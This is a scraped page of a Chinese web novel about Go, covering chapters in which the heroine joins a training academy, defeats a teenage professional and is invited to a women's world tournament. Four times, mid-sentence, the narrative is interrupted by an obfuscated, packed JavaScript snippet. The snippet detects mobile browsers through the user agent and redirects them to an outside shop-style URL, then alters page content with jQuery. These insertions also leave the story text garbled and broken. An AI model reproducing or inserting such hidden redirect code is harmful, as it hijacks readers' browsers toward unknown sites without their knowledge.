祁同贤爽快地摆摆手:“棋院宿舍也不是什么舒坦的好住处,小庭不嫌弃,来了就住着,就当我们两个老家伙补上这些年没给的压岁钱。——老赵没意见?” 赵良甫淡笑点头。 “老徐呢,肯放你的学生来我这么?” 徐潮平见庭见秋兴奋得整张脸亮堂堂地泛着红晕,说话都有些结巴,心知是让她捡着大便宜了,加上庭见秋毕业论文已经基本完成,乐呵呵地应了: “送瘟神咯。” 庭见秋腾地又站起来,连连向院长和两位老师躬身道谢,脑子里像注满奶油,幸福得有些眩晕。她计划过,如果网棋实战训练效果有限,她就去棋院旁边租个单间,每天去旁听,找水平相当的棋手下面棋。这样做,经济负担不小,但于她而言,无非是多做一份家教、多啃两天饼的事。 如今什么都安排好了。她能每天睁眼就见着棋,下足一天棋,才在离棋最近的地方酣然入梦。 阔别围棋十三年,她不敢想自己还有这么幸运的一天。 师母见客厅里热闹,笑吟吟地端了软熟的汤圆来,庭见秋这才坐下,在桌面下,所有人的视线盲区里,很轻地碰了一下谢砚之的手。 什么也不必说,谢砚之会知道她在表达感谢。 * 翌日,庭见秋在刚一返校就得知痛失舍友的罗佩佩的哀嚎之中,拎着行李箱来到棋院。 这正好是棋院新春开课的日子。Z省各地的“冲段少年”,在家过完一个春节,又回到棋院封闭式训练,全心全意准备7月的围棋“高考”——职业围棋升段赛。 庭见秋抵达棋院门口的时候,见到一月不见的杨惠子正站在棋院门口,身着职业气息浓重的黑色薄风衣,面上淡妆精致,利落的齐肩短发染成浅棕色,左右两边各挑起一撮头发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744958|145227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扎成麻花辫,牵到脑后,扎起一个小揪揪。她面向一台架着的摄像机,录制江陵棋院“新年第一课”的新闻材料: “……在江陵棋院全力冲刺的‘冲段少年’们,放弃了寻常的校园生活,将全部的青春投身于梦想,争夺二十个鱼跃龙门、成为职业棋手的名额。 “过去,一旦棋手在十八岁仍然没有成功定段,要面临巨大的沉没成本:既没有职业棋手的身份,也没有文化课的文凭,学棋多年的花销、心力,全部失去了意义。可以说,这是一场不成功便成仁的豪赌。” 杨惠子忽地抬眼,发现不远处静静听她说话的庭见秋,脸上闪过一丝惊喜的笑意,向她眨了眨眼,接着完成她的工作: “今年职业围棋升段赛的特殊之处在于,男子组的定段年龄上限放宽至20岁,出于对女性棋手的鼓励,女子组的定段年龄上限放宽至25岁。所以,让我们期待那些心怀梦想的棋手们,杀回来吧!” 庭见秋见她热血沸腾地播完最后一句稿子,拖着行李箱慢悠悠地走上前,长风扬起她颊边的发丝,她淡笑着打招呼:“嗨,惠子,又见面了,我杀回来咯。” 杨惠子大笑:“你学我说话,怎么一点激情都没学到!” 庭见秋吐了吐舌头。 棋院大门口蹲着个被院长支使来迎客的丛遇英: “喂,阿姨,别聊了,我带你上楼看看宿舍。” 小男孩一脸拽了吧唧,说话也不对着人,半侧着脸一副不情不愿的样子。 眼里却很有活,顺手就把她的行李接过来,扛上台阶。 棋院一共五楼。一楼是接待室、办公室、大厅和食堂等。二楼、三楼是棋室,其中教学活动一般都在二楼举行,三楼人不多,提供给更高级别的棋手行棋、复盘。四楼和五楼是宿舍。 女棋手人少,都统一住在五楼尽头的一间房间内。房间里有八张床铺,四架双人床。许是入住的多是十岁出头的小女孩,天花板低矮。屋内朝北,有些阴凉,铁质的床架、椅子,泛出暗绿色的锈痕。房间正中,是一张长条形的木质长桌,桌面上,刻满了“赢”和“加油”的小字。 庭见秋走进房间,四处探看一遍。 八张床铺,只住进了三个女孩。 其中两个只有十岁上下,正趴在木头长桌上写作业,抓紧不训练的每一秒学习文化课的知识,这样,就算冲段失败,也有回头路可走。见庭见秋进来,年纪小的两个小女孩从书堆里抬起眼,好奇地打量她。 另一个看起来已有十六七岁,身形清瘦,秀气单薄的鼻梁几乎承受不住厚重的镜片。室内温暖,她只穿一件藕荷色的单衣,坐在床上看一本棋书。她读得专注,就连庭见秋进门,也没有任何反应。 丛遇英倚在门口,不耐烦地抖着麻杆似的精瘦长腿,眼神在走廊上无目的地飘荡,就是不往寝室内瞥,应付地完成祁院长交代他的工作: “院长说,你要是觉得环境不好,我可以陪阿姨你呢,去附近居民区看看租房。” 一声声“阿姨”,叫得十足讨厌。 庭见秋回身,从门外丛遇英手中取回行李箱,提溜进宿舍,行李箱的滚轮在水泥地面上发出咕噜脆响: “不用了,我喜欢这里。” 下两层楼就能下棋的地方,就算是狗窝她也睡得着。 丛遇英正拔腿要走,门里,庭见秋又探出半个身子,脸上挂着一抹不怀好意的笑: “哎,你不是职业初段吗,怎么还赖在棋院不走?——不会是,没有棋队要你吧?” 11. 欺负小孩 庭见秋状似无意却又精准地往丛遇英的痛点上重重一踩,丛遇英满是桀骜稚气的脸一时扭曲。 去年,丛遇英定段之后,铁了心想和师兄谢砚之一样,和老牌强队京城华一签约。拜托赵老师和祁院长去联系了几回,京城华一始终态度冷淡。也有别的地方棋队向他递出橄榄枝,开出的条件并不差,但丛遇英眼高于顶,他看不上,硬是将机会错过去了。 没有挂靠围棋俱乐部,纵使成为了职业棋手,也很难有参加大型赛事的机会。 职业棋手没有比赛,就没有钱拿。 丛遇英只能和其他资质平平的职业初段一起,在为数不多开放给低段职业棋手的个人赛中,提高个人积分和段位。——比如,职业围棋升段赛。 职业围棋升段赛分为两组,一组开放给业余5段以上,争取职业定段的20个名额,这就是庭见秋和众多“冲段少年”的赛道;另一组,开放给职业低段棋手,用于提高个人段位。 这就是丛遇英还留在棋院的原因:继续进行常规训练,备战7月的升段赛,同时,等待其他参赛机会。 但这些内情,他绝不会告诉庭见秋。 丛遇英一梗脖子,怒气冲冲地:“关你什么事?我乐意在棋院里呆着,这里没人下得过我,你来了最好也对我尊重……” 还是小孩子口气,满口胜者为王、败者为寇的那一套丛林法则。 也不全是孩子的错。庭见秋经过棋院一楼时,看见墙上一层又一层地糊满循环赛的积分表。棋院为了激发小棋手的斗志,每天进行两轮循环赛,傍晚时张贴当日最新变动的积分排名,老师也会当众给予奖惩。在这种环境下的孩子们,只知道输赢和积分这样单一又残忍的评价维度,自然本能地膜拜强者,打压弱者。 “没人下得过你?”庭见秋眉峰微挑。 “你不是见识过我的棋吗?你输给我了!” 复盘失利,那是场下的事。至少在赛场上,庭见秋是明明白白投子认负了。 庭见秋并不否认:“那你敢不敢和我再下一盘?我要是赢了,你从此以后不许再叫我阿姨。” 两人声量不低,不少在宿舍里的小棋手都探出头来围观。连女生寝室里那个坐在床上安静看棋书的女孩,也从床上下来,看着寝室门口的二人。 丛遇英如芒在背。 在大庭广众之下,被一个业余女棋手这样蹬鼻子上脸地挑衅,他不可能认怂。 “下就下!有什么不敢的?”丛遇英应声拧身下楼,去二楼,开局。 早有小棋手兴奋得满走廊乱窜,像小报童一样到处招呼: “新来的要挑战丛师兄啦——新来的要挑战积分榜第一的丛师兄啦——” * 如果庭见秋熟悉棋院的规则,她就该知道,自己一来江陵棋院就要求和丛遇英下棋的这种行为,有一个专门的名称: 踢馆。 外来者挑战整个棋院内棋力最高者,后者代表了江陵棋院的脸面。如果庭见秋战胜了丛遇英,那就是战胜了整个江陵棋院。 此时已近中午,食堂即将开饭,所有在棋院内的棋手却都拥到二楼棋室里,等待庭见秋和丛遇英的对局。就连刚忙完工作的杨惠子也闻讯赶到,站在庭见秋一侧看棋。人群熙攘,杨惠子小心地抱着她昂贵的设备,生怕一个不留心就掉地上被人踩坏了。 为了不影响中饭,两人一致决定下快棋,读秒30秒5次。 这意味着两位棋手每步棋都必须在30秒之内下出,超时5次,直接判负。 摆好棋桌、棋钟,丛遇英从棋碗里抓出一把白子握在手心,庭见秋则掏出两颗黑子来,摆在棋面上。这是围棋赛事中的猜先,庭见秋摆出两颗黑子,是猜丛遇英手中的白子数是偶数。 丛遇英摊开手掌,一共三枚白子,庭见秋猜错,后手执白。两人在紧张的沉默中,互换棋碗。 丛遇英率先落子,小目开局,甫一落子,便抬手重重往棋钟上一落,“啪”一声响。 快棋的惊险之处不仅在于每步棋必须在30秒之内决定,还在于拍棋钟:必须拍快,防止超时;也必须拍响,防止力道不足,己方的棋钟没有及时归零、暂停。 庭见秋放弃开局,直接挂角,两人在一角飞快定型之后,庭见秋白子脱先,重回星位,占据一个角位。 四面人墙一片死寂,除去落子和拍钟的声响,安静得能听到身旁人克制又急促的呼吸声。杨惠子第一次见庭见秋下棋,心下不免被这种激进的下法一惊。 ——庭见秋的白子,就像一条饥饿却又老练的豺狼,伏地磨爪,暗待时机。一双贪婪的血红双目,如深夜鬼火,死死盯着对手,一旦对手露出脆弱的脖颈,边扑上去撕咬缠斗。 纵使战斗并未占得好处,也只是暂退至一旁不远处,半收起利爪,柔软的脚蹼缓慢地磨蹭、逡巡,为下一次战斗做准备。 起初,丛遇英还记得,应对庭见秋这样杀意过重的对手,应在前期尽量避免卷入生死战,以保留实地为重。随着棋至中盘,两人落子愈发激烈,棋盘噼啪声也似步步紧逼,催人作决断。 丛遇英终于忍不住了。 庭见秋的棋,简直是在挑衅。 就像在宿舍门前,她那句声调微扬的“敢不敢”。 那张轮廓深刻的脸上,惯常没什么表情,唯独那一刻的笑容,似乎调动起全部的五官,舒展的弯眉、眯起的长目,和苍白嘴角勾起的动作,都无比醒目、刺眼。 丛遇英在中腹落子,镇头,将庭见秋意欲打入自己空中的几手棋,围剿包抄。 他要净吃。 他要让这些敢来自己空中试探应手的棋子,全部有来无回。 杨惠子少年时期也学过一些棋,跟着江陵棋院做报道的三年里更是精进不少。她看得出来,这是丛遇英发起回击的瞬间。庭见秋的攻击几乎招招都是险棋,如今丛遇英要认真展开清算了,不知道她还能占得便宜么? 她看向庭见秋的脸,试图读出什么神情来。——完全没有。除了久坐有些累着,她略微坐直了些,其余,无论表情,还是姿势,一概不变。 仿佛丛遇英不是直接威胁她在中腹打入的白子,而是在别处随手下了一招。 没什么表情的庭见秋,在丛遇英气势汹汹落下的镇头一子边上,轻轻一靠。 杨惠子依稀觉得这一手有些不好应对,但算不清楚后面的棋路。倒是杨惠子身边站着的一名细瘦高挑的眼镜女生,了然地“啊”了一声。 只见丛遇英就像视频卡帧一般,僵住不动了。 棋钟转过一轮30秒,又过一轮。在第三圈快要走完的时候,丛遇英急急忙忙地落了一手单退。庭见秋继续冲断。 不过十几手棋,丛遇英企图布下的天罗地网,已经粉碎。 他千辛万苦围下的实地,被白棋长驱而入,掏了个一干二净。 丛遇英又苦撑二十手,见局势已无可挽回,投子认输。 正好食堂开饭。 庭见秋把时间控制得刚刚好,四十分钟结束一局,没饿着任何一个围观看棋的小朋友的肚子。 人群散去,庭见秋慢条斯理地将桌面上残棋拣净,站起身来:“终于可以看看棋院的食堂长什么样……哎,不是,等等,你别哭啊?” 棋桌对面,男生双颊通红,两眼噙泪,还在强硬地憋眼泪,可惜一点倔强可怜的美感都没有。听到庭见秋错愕的“你别哭啊”,丛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744959|145227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇英再也忍不住,一边像漏气风箱一样狂吸鼻子,一边两手交替刮脸抹眼泪,嚎啕大哭。 庭见秋小时候也经常下哭男棋手,但都是比自己年纪大的男棋手。好在,她没有安慰比自己年长的棋手的义务,只需要瞪着眼假装无措地看着对面,老爸就会出来收拾残局,把哭得整个人好像缩水的男棋手拎起来,猛地一踹屁股: “哭什么哭,输给小孩还哭,丢不丢人。” 很爽。 如今她年纪大了,把丛遇英下哭,显得像在欺负小辈,她脸上也挂不住,只好学着老爸,硬邦邦地安慰人: “哭什么哭,不要哭。” 没忍住又补一句:“照你这种下法,以后要输的棋还多着呢。” 丛遇英一听哭得更凶,两手捂面,鼻涕眼泪从指缝里乌泱泱地往外冒。 杨惠子好心提醒:“弟弟啊,刚拿过棋子的手很脏,不要摸脸啊好不好,不然你脸上痤疮粉刺还得越长越多,就算过了青春期,痘痘全消了,痘印还是在的……” 丛遇英彻底崩溃了,仰天嚎叫: “我是职业棋手之耻啊呜呜嗷嗷……有没有职业棋手跟我一样窝囊的啊呜呜嗷嗷……我输棋,没有棋队要我,我还长得丑,我的人生毁了呜呜嗷嗷……” 庭见秋受不了噪音攻击,扁扁嘴捂上耳朵。 杨惠子知道自己说错话了,赶紧补救:“职业棋手之耻怎么会是你呢?那肯定是仇嘉铭啊!” 丛遇英睁着一张水汪汪的眼睛等下文,庭见秋听到熟悉的名字,也把手从耳朵边上放下来,等着听故事。 杨惠子兴高采烈地讲起仇嘉铭的丢人事迹: 年轻时确实光辉过一阵,飞快地升上了七段,还打入了森田杯的决赛,甚至有人说仇嘉铭要重振华国围棋了;没想到一升到七段,他像被夺舍了一样,以大劣势输了森田杯的决赛,从此胜率腰斩,越是输棋,越是下不赢棋,铸就至今无人超越的三十局不胜传说。终于,被老东家武昌麒麟,低价转给了现在所在的岳州谈棋,如今,岳州谈棋渐渐也有把他踢出去的意思了。 在职业的生死关头,仇嘉铭开了直播,上了恋综。 就连在恋综上,仇嘉铭也是败犬设定不倒,和女嘉宾们相处毫无火花可言,成为整个节目收到短信次数最少的嘉宾。 节目里,偶尔有女嘉宾找仇嘉铭单独聊天,仇嘉铭也只是瘫在沙发上玩手机,偶尔抬头应一声。有弹幕分析说,仇嘉铭十有八九是自己有女朋友,上节目捞钱来的,一边录节目还一边跟女朋友报备呢。 第二天,节目组就放出另一个角度的监控花絮: 仇嘉铭在手机小程序上,做围棋死活题。 弹幕:老仇,五个漂亮女嘉宾你不看,你上恋综做死活题? 为了推动感情发展,节目组还特地安排嘉宾们两两抽签去朝国旅游,男嘉宾负责定制惊喜派对。轮到仇嘉铭一组,女嘉宾盛装款款而至,老仇帅气驱车,轻车熟路,停靠在了朝国首尔围棋道场。 这位被弹幕封为史上最惨的女嘉宾,在气氛肃杀的围棋道场里,穿着精心搭配的漂亮小裙子,和一堆六七岁的小朋友一起,学了一天围棋。 丛遇英听得懵懵懂懂,好歹是忘了哭了,喏喏开口:“没人喜欢他,他也长得不好看吗?” 杨惠子翻出仇嘉铭的微博,往丛遇英面前一摆。 被帅气大脸突然攻击的丛遇英又哭起来了。 庭见秋瞥见仇嘉铭的微博主页,刷屏般地连发了好几条: 【秋老虎你上线啊!你有本事赢我棋,你有本事赚我钱,你有本事上线啊!!!】 庭见秋悄没声地捂紧自己的小马甲:坏了,惹到真傻子了。 12. 她们 自打庭见秋下赢一次仇嘉铭之后,仇嘉铭就缠上了她,每天在网站上蹲点等她上线。庭见秋一登陆,就能收到刷屏似的对局邀请。庭见秋下起棋来,除了吃饭睡觉,都在局中,仇嘉铭竟然也能适应这个作息。两人下了一礼拜,互有胜负,彼此熟悉棋路,打开电脑就是干,合上电脑就是暗想怎么研究一套新招克对方,杀得难解难分。 两人下棋的棋室里,总是有不少棋友线上围观。 他们称这种从早下到晚、休息六个小时回来接着下的围棋精神为:两个不要命的在熬鹰呢。 也不知道熬的是对手,还是观众。 * 上午是棋院学生报到,没有安排训练;下午,棋院的老师们安排学生们按照段位和棋力抽签,开展棋院的常规循环赛。 赵良甫听说上午庭见秋当着全棋院棋手的面,掏干了丛遇英腹地大空,将她从循环赛的名单中择了出去。抽签结果公示之后,庭见秋站在一众小棋手间,暗忖怎么没有自己的名字,肩上,一只坚硬如玉石又十分有力的大手拍了拍她,是赵良甫: “你不用下,跟我过来。” 庭见秋不明就里地跟着赵良甫,走进教师办公室。 赵良甫指着办公室正中,矮桌上的一张棋盘:“把上午那局棋摆了我看看。” 赵老师的语气很硬,不苟言笑,完美符合每个高中最令人闻风丧胆的老师形象。但庭见秋立刻就明白他的用意。 这是在给自己开小灶。 小时候,老爸也这样,不让她跟着大班一起学,给她找了个房间,她独自一人做题,打谱,等老爸带一些精心挑选好的对手进门,给她练手。 循环赛已开始。总是有小朋友大叫着跑来跑去的棋院走廊一时静谧,只有落子声依稀透过门缝,模糊地传来。 庭见秋躬身摆棋,赵良甫叉手在一旁看着,不时叫停,让她多作考虑。 上午和丛遇英的对局是快棋,很多步全凭第一感,没有细想,错过很多能出棋的地方。赵良甫领着她复盘,是把这局棋掰开揉碎,整理一遍,再教给她。 复盘结束,赵良甫针对她棋风上过于刚烈的特点,又找了几张谱给她打,既有谢颖九段的力战局,也有元修明九段稳健控盘、令对手如入网罗难以挣扎的棋局。 庭见秋独自一人在办公室里打谱到六点,去食堂吃饭。 第一天的循环赛已经结束了。下得非常糟糕的小孩,都在走廊上贴着墙壁罚站。老师就在不远处,他们一声不敢吭,但毕竟只有八九岁,在棋院之外,只是群毛猴似的小学生,见到上午下赢了丛遇英的风云人物庭见秋,都偷偷地向她做鬼脸,剔得光光的圆脑袋上露出各种怪表情。 还挺可爱。 再走两步,听到有小棋手输了棋,哭得如夜半鬼吼。 这个不可爱。庭见秋捂紧耳朵加快步子。 吃完饭,又回赵良甫办公室打谱至九点,庭见秋扭一扭酸涩的手腕,将今日的训练告一段落,回寝室休息。 寝室里有一间狭小的独立卫浴。她回到寝室的时候,另外三个女孩都已经洗漱好了,穿着睡衣,趴在床上各看各的书。见她进门,两个年纪小的小女孩,像两只小鹌鹑似的,手脚并用地从床上扑腾起来: “小庭姐姐小庭姐姐——” “我叫田祺悦,我今年十岁了。” “我叫张子文,我也十岁!” “她骗人!她九岁!” 庭见秋看着一左一右眼巴巴望着自己的小女孩,只好一手揉一个脑袋:“小悦,小文,你们好。” 这两个小女孩才是可以管自己叫阿姨的年纪,偏偏一口一个姐姐叫得甜津津的,把不善于应对孩子的庭见秋都哄住了。 稍大的女生仍坐在床上,似乎手上仍是同一本棋书,抬头的时候顺手扶了把眼镜,对庭见秋说: “你好,我叫关建伟。” 庭见秋在贴在楼下的积分表上见过这个名字,排名略低于丛遇英,总是在第三到第五之间徘徊。她还以为是个男孩,没想到是个文质瘦弱的姑娘。 庭见秋也道声你好。 两个小女孩很快察觉到,庭见秋看着寡言冷漠,其实相当好拿捏,因为她完全不知道如何拒绝小孩子,任小悦和小文拉着两只手坐到床上陪聊。 原来这两个小女孩都不是江陵本地人,而是当地没有合适的老师,家长们才下定决心送她们来省会的江陵棋院学棋。女儿在江陵学棋,家长们的工作都在原地,只能周末过来一趟,送些衣服和吃的。 庭见秋忍不住问:“你们还这么小,家长放心把你们一个人放在这里呀?” 小文笑嘻嘻地:“没关系呀,有建伟姐姐照顾我们,爸爸妈妈都可放心啦。” 原来自带屏蔽磁场、在三人唠家常时还能静心看书的少女,还有一项带娃的手艺。 小悦说:“如果不这样的话,我们就只能像其他同学一样,放弃下棋了。但我和小文的目标,是要变得像谢颖九段一样厉害!” 庭见秋想起,自己小时候好像也站在沙发上,对老爸宣誓: 我要变得像谢颖九段一样! 那时候,老爸听到她的豪言壮语,总是笑眯眯的,老妈也不像现在这样反对她下棋,只是叉着腰,要她赶紧从沙发上下来,要是不小心摔到脑子,还谢颖九段呢,别到时候傻到谢颖两个字都不会写…… “不,我变了,要像高桥依子七段,她下棋才厉害!” “那还是像言宜歌三段,她前阵子刚下赢了高桥依子,而且……嗯……她还很漂亮!”小悦不好意思地和小文笑作一团。 一个个女棋手的名字,铺就一条银河路,多少女孩在昏朦夜色里,仰着面孔,数着天上的星,越高山,涉险滩,渡长河。 庭见秋也曾在途中。 正聊着,门外传来丛遇英的叫阵声: “庭见秋!庭见秋出来!下棋!别以为你就赢我了,一胜一负,刚好打平,出来再下!决胜负!定生死!” 看来下午赢了两盘,信心又回来了。青春期的小男孩就是跟弹簧似的,压下去两秒就往上弹,挨打不长记性,复原极快。 不过,丛遇英倒是很守信用,不喊她阿姨了,直呼她大名。 小悦皱着小眉头,牵着她的手不让她去:“这么晚了,别跟他下,明天还要早起呢。” 庭见秋微微一笑:“别担心,杀他要不了多久。” 四十分钟之后,关建伟刚解完一页死活题,翻页的一刻,庭见秋面无表情地从门外进来,好像只是出门吃了点夜宵。看起来还没吃饱。 小悦和小文又扑腾起来:“怎么样,怎么样,赢了吗?” 庭见秋不答,抬手围半圈耳廓,做出一个“你听”的动作。 楼下传来“嗷——”的嚎叫。 十秒后,又传来纪律老师的怒吼:“丛遇英!大半夜不休息叫什么叫!整个棋院都听到了!” 庭见秋云淡风轻,赞美对手:“还是有进步。” 小文:“比上午那局下得好吗?” 庭见秋摇摇头:“他没哭。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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棋院的生活日日如旧,于玩心正炽的孩子而言,是刻板枯燥;于棋瘾正大的庭见秋而言,最是逍遥。白日在赵良甫办公室里打谱摆棋,偶尔和想找她下棋的小棋手让子下两盘,晚上和棋室里的其他学生一起讨论难局。渐渐地,也没人会计较她年龄大了一截,她竟然在小孩堆里很吃得开。 除了丛遇英见到她总是没什么好脸,被迫叫她姐姐的时候更是痛苦得要把牙咬碎似的。 不服,那就棋上揍一顿。 小文总结庭见秋的棋院日常:吃饭,睡觉,练棋,虐丛师兄。 为了锻炼庭见秋,赵良甫会让她去兄弟棋室踢馆比赛,还给她报了几个省级的小赛,什么春雨杯蓝梦杯金山杯致和杯,赵良甫垫报名费和路费,等庭见秋拿着奖杯奖状奖金回来还给他,再用奖金余下的部分,报新的比赛。 庭见秋有比赛必打,下棋必拿奖,刷脸过于频繁,Z省棋圈不大,许多人对她有印象: 深棕浓密的长卷发,总是穿着或黑或灰的深色衣服,独来独往。五官深刻,鼻梁高挺,生就一种侵略性极强的美,却从来不施粉黛,脸色苍白得有些骇人。 没什么表情。下棋的时候会笑,但如果你是她的对手,还是默默祈祷她不笑为妙。 …… 两个月过去,庭见秋所住的小寝室里摆不下奖杯,赵良甫大手一挥,抱了一摞,去自己办公室里摆着。庭见秋拿奖,他从没夸过,一脸“让你去参赛就是让你去提提款”的理所当然样子。但庭见秋见他办公室半米宽的窗台上,撤下急需光照的绿植,摆上自己那些不值钱的破奖杯,猜,他大概是自豪的。 总赢小赛,又没了意思。还要嘱咐庭见秋及时收手,别毁了哪个年轻棋手的围棋梦。 终于有一日,赵良甫当着庭见秋的面,拨通了谢砚之的电话,说想让庭见秋参加世界女子围棋邀请赛。 庭见秋预感这赛事规模不同寻常,问:“这是邀请赛,谁来邀请我?” 谢砚之听见,噗地一笑,低沉清冽的声音,带着一丝孩子气的得意,从电话另一端传来: “你忘了?我妈可是谢颖。” 13. 邀请赛 世界女子围棋邀请赛,由华、日、朝三国的围棋女子协会会长,每年轮流举办。由主办方亲自邀请近年来表现突出的职业或业余女棋手,切磋手谈。 而华国的围棋女子协会会长,十多年来,都是谢颖九段。 今年,邀请赛重回江陵市。 邀请庭见秋参加比赛一事,谢砚之处理得很麻利。上午赵良甫电话过去,下午谢砚之就把邀请函的照片发给庭见秋看了,说叫个同城闪送送过去,晚上就能到。 邀请函纸面硬挺,鎏金印刷,右下角有谢颖的亲笔签名。 还有一个三笔画就的简易笑脸。 庭见秋道了声谢。 两人微信上,还在有一搭没一搭地下着那局盲棋。他们都忙,也都知道对方忙,不设时限,一个坐标发过去,可能几日没有回音,也不着急。 因为没有一个棋手会放弃一盘没有下完的棋。 两人的聊天框里,除了坐标,什么闲聊也没有。这张邀请函的照片,倒显得有点突兀。 庭见秋想了想,在那句干瘪的“谢谢”下,补了一句:“最近在忙什么?” 谢砚之回得很快:“在筹备一件大事。” 他说得神神秘秘,庭见秋也懒追问。 没两秒,谢砚之又发来: 【还要解决一个麻烦。】 庭见秋好奇:“怎么?” 对面突然拨了个微信电话过来。 庭见秋正在赵良甫办公室里打谱,趁赵良甫看书的时候偷偷玩手机,手机上方突然弹出来通话邀请的时候,她像小时候上课偷看闲书被抓包一样,突然莫名心虚了一下,飞快抬眼看一眼赵良甫,捂着手机猫腰小跑出办公室,接通,小声地: “喂?” 谢砚之:“你听。” 电话另一头,一个莫名有些熟悉的男声,似隔着什么,模模糊糊地传来,凄厉程度依稀可辨: “小谢谢呀!小谢谢!你不能对哥这么狠心啊谢谢!哥为了这事都从岳州飞到江陵了啊!我还在你家对面租了房子!老贵了!我心真的很诚的你跟你妈说说吧!” 想起来了,在电视里听到过,捧着手机打广告的那个—— “仇嘉铭怎么在你那里?” 谢砚之声调微扬:“他求我有事。” “小谢谢你绝情啊!你把哥关卧室外面,你在里面躲着!当年要不是哥预选赛上输给你你能出战英华杯吗?你能战胜金真敏吗?你能一举封神吗你能这么红吗你能吗你能吗?” 谢砚之无奈又好脾气地向庭见秋解释:“他何止输给了我,他压根一场也没赢过。” “小谢谢我听到你在背地里说我坏话了!你不仅不搭理我你还说我坏话!” 谢砚之任他挠门。 庭见秋好笑:“他也想要参加世界女子邀请赛?” 有过成绩好的女棋手申请参加男子比赛的先例,但从来没听说过男棋手报名参加女子比赛。 谢砚之听了一笑:“要真是这事,倒还更好解决点,给他套条裙子就完事了……他求的,和我最近在筹备的大事有关。马上新闻就公示出来了。” 他这样说了,庭见秋更不问。 几日后,谢砚之所说的“大事”并未见报,令围棋界为之震惊的是另外一件事: 继谢砚之与京城华一解约,年轻一代中可堪独步一人的女棋手言宜歌三段,也提出与京城华一单方面毁约。 近月里所有对局的津贴,她分文不取,净身出户,此外,恐怕还背上了巨额的解约债务。 言宜歌三段与谢砚之九段,是围棋界人尽皆知一对金童玉女。两人曾在朝国首尔围棋道场一起学棋三年。谢砚之十七岁学成归国,又过四年,十八岁的言宜歌追着师兄的步伐回来,也签在了京城华一。 师兄师妹重聚,并肩作战四年。 谢砚之生就一副温柔多情好皮相,言宜歌亦是如此。她身量高挑,却有一张巴掌大的圆脸,粉雕玉琢,齐肩长的直发乌黑如缎。作为华一对外宣传的形象大使,她总是在巨幅广告上露出甜美乖巧的微笑。漂亮得像建模出来的假人,任人摆布的娃娃。 棋迷称她为:北极兔。 就是那种长得很可爱、站起来却高得吓人的小动物。 言宜歌回国没几年,有人在网上爆料了一段视频: 言宜歌才十二三岁的样子,穿着朝国围棋道场黑白相间的院服,将袖口挽上小臂,露出一截雪白纤细的手腕,一双大眼噙着泪珠子,粉嘟嘟的嘴唇用力扁着,小脸哭得通红,时不时抬起手腕用力一揩。 拍摄视频的人用朝语问:“为什么哭呢?” 言宜歌抽抽嗒嗒地用朝语答:“输棋了。” “输给谁?” “谢砚之。”小嘴一咧,似要哭得更厉害。 镜头一晃,原来谢砚之正站在不远处。十五岁的少年,个子刚抽条,显得单薄瘦削,尚且满是稚气的面孔上,还没有生出如今八面玲珑得令人挑不出错处的神情。 谢砚之站在离言宜歌三米远的地方,走来走去,一副想安慰又不知道怎么安慰的样子,两只手一会抬起,一会垂落。 人们只见过谢砚之在棋桌上胸有成竹的样子,却没见过他这样手足无措。 视频一出,谢砚之本就名声响,更是吸引了一批cp粉: 谁说我们围棋圈没有青梅竹马! 如今谢砚之刚提出解约,言宜歌就不顾高昂解约费,也要离开京城华一,难免令人浮想联翩。 更有甚者,猜测说: 可见谢砚之和京城华一太子爷元天宇之间有矛盾,不是空穴来风,小师妹解约,是站队的表现。 …… * 四月中,江陵满城烟絮。 世界女子邀请赛是较高规格的世界级赛事,讨论度高、赞助多,所以经费充足,定在江陵市中心酒店举办。赛程共五天,十二轮棋,积分制。为了方便远道而来的女棋手们休息,还给每人在酒店里开了一间房间,餐宿全包。 一早,庭见秋的手机里就塞满了杨惠子的微信,从赛程问到备赛心情。她几乎可以想象杨记者风风火火、热辣干练地连连抛问题,从她嘴里套新闻素材的样子。 可见这次比赛的新闻,又是她分管负责的了。 庭见秋来到中心酒店,顺着指示牌进门,边沿着酒店走廊走,边低头回复杨惠子的微信,不知不觉好像绕了个弯,正抬起头,对上一双蕴满笑意的眼: “迷路了?” 谢砚之身着一套贴身笔挺的黑西装,脖子上戴着工作牌,头发上抹了啫喱水,打扮得漂漂亮亮的,低着脑袋看她,笑时眸如点漆般勾人。 ——不像个正经棋手。像个牛郎。 庭见秋不好意思地一笑,举起手机晃一晃:“光顾着回惠子的微信,没看路。” “杨惠子,那个记者?”谢砚之语气一顿,斟酌道,“和她说话还是要小心一点,你个性太坦率了。” 庭见秋想了想。她还没在“岁除杯”上得奖的时候,杨惠子就对她很热情,而她又招不住这种性格,谁对她好,她也同样真心待回去,从没考虑过对方有利用自己、伤害自己的可能。 但她还是真诚地道了句:“谢谢。” 谢砚之将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 